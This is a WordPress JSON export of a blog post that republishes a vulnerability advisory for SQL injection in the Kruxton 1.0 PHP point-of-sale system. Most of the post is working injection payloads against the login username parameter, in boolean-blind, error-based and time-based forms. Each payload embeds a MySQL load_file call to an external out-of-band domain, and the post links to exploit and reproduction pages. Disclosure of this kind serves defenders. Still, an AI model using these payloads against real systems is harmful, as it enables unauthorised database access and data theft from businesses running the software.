{"id":56266,"date":"2024-04-15T21:19:46","date_gmt":"2024-04-15T17:19:46","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178058\/kruxton10-sql.txt"},"modified":"2024-04-15T21:19:46","modified_gmt":"2024-04-15T17:19:46","slug":"kruxton-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/kruxton-1-0-sql-injection\/","title":{"rendered":"Kruxton 1.0 SQL Injection"},"content":{"rendered":"<p>## Title: kruxton-1.0-Multiple-SQLi<br \/>## Author: nu11secur1ty<br \/>## Date: 04\/15\/2024<br \/>## Vendor: https:\/\/www.mayurik.com\/<br \/>## Software: https:\/\/www.sourcecodester.com\/php\/16127\/best-pos-management-system-php.html<br \/>## Reference: https:\/\/portswigger.net\/web-security\/sql-injection<\/p>\n<p>## Description:<br \/>The username parameter appears to be vulnerable to SQL injection<br \/>attacks. The payload &#8216;+(select<br \/>load_file(&#8216;\\\\\\\\t0u6cqoe8kv4cpolkvjk3zq37udn1dp4sskfa3z.tupaciganka.com\\\\ddi&#8217;))+&#8217;<br \/>was submitted in the username parameter. This payload injects a SQL<br \/>sub-query that calls MySQL&#8217;s load_file function with a UNC file path<br \/>that references a URL on an external domain. The application<br \/>interacted with that domain, indicating that the injected SQL query<br \/>was executed.The attacker can get all information from the system by<br \/>using this vulnerability!<\/p>\n<p>STATUS: HIGH- Vulnerability<\/p>\n[+]Payload:<br \/>&#8220;`mysql<br \/>&#8212;<br \/>Parameter: username (POST)<br \/>Type: boolean-based blind<br \/>Title: OR boolean-based blind &#8211; WHERE or HAVING clause (NOT)<br \/>Payload: username=DKVEBDYC@burpcollaborator.net&#8217;+(select<br \/>load_file(&#8216;\\\\\\\\t0u6cqoe8kv4cpolkvjk3zq37udn1dp4sskfa3z.tupaciganka.com\\\\ddi&#8217;))+&#8221;<br \/>OR NOT 7810=7810 OR &#8216;LaNe&#8217;=&#8217;bRUy&amp;password=v0N!p1j!S6<\/p>\n<p>Type: error-based<br \/>Title: MySQL &gt;= 5.0 AND error-based &#8211; WHERE, HAVING, ORDER BY or<br \/>GROUP BY clause (FLOOR)<br \/>Payload: username=DKVEBDYC@burpcollaborator.net&#8217;+(select<br \/>load_file(&#8216;\\\\\\\\t0u6cqoe8kv4cpolkvjk3zq37udn1dp4sskfa3z.tupaciganka.com\\\\ddi&#8217;))+&#8221;<br \/>AND (SELECT 1998 FROM(SELECT COUNT(*),CONCAT(0x7178786b71,(SELECT<br \/>(ELT(1998=1998,1))),0x716b627071,FLOOR(RAND(0)*2))x FROM<br \/>INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR<br \/>&#8216;jdui&#8217;=&#8217;fNTo&amp;password=v0N!p1j!S6<\/p>\n<p>Type: time-based blind<br \/>Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)<br \/>Payload: username=DKVEBDYC@burpcollaborator.net&#8217;+(select<br \/>load_file(&#8216;\\\\\\\\t0u6cqoe8kv4cpolkvjk3zq37udn1dp4sskfa3z.tupaciganka.com\\\\ddi&#8217;))+&#8221;<br \/>AND (SELECT 2923 FROM (SELECT(SLEEP(7)))UJBe) OR<br \/>&#8216;ffIk&#8217;=&#8217;SAqf&amp;password=v0N!p1j!S6<br \/>&#8212;<br \/>&#8220;`<\/p>\n<p>## Reproduce:<br \/>[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/mayuri_k\/2023\/kruxton-1.0\/Multiple-SQLi)<\/p>\n<p>## Proof and Exploit:<br \/>[href](https:\/\/www.nu11secur1ty.com\/2024\/04\/kruxton-10-multiple-sqli.html)<\/p>\n<p>## Time spent:<br \/>01:15:00<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Title: kruxton-1.0-Multiple-SQLi## Author: nu11secur1ty## Date: 04\/15\/2024## Vendor: https:\/\/www.mayurik.com\/## Software: https:\/\/www.sourcecodester.com\/php\/16127\/best-pos-management-system-php.html## Reference: https:\/\/portswigger.net\/web-security\/sql-injection ## Description:The username parameter appears to be vulnerable to SQL injectionattacks. The payload &#8216;+(selectload_file(&#8216;\\\\\\\\t0u6cqoe8kv4cpolkvjk3zq37udn1dp4sskfa3z.tupaciganka.com\\\\ddi&#8217;))+&#8217;was submitted in the username parameter. This payload injects a SQLsub-query that calls MySQL&#8217;s load_file function with a UNC file paththat references a URL on an external domain. The &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56266","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56266","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56266"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56266\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56266"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56266"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56266"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}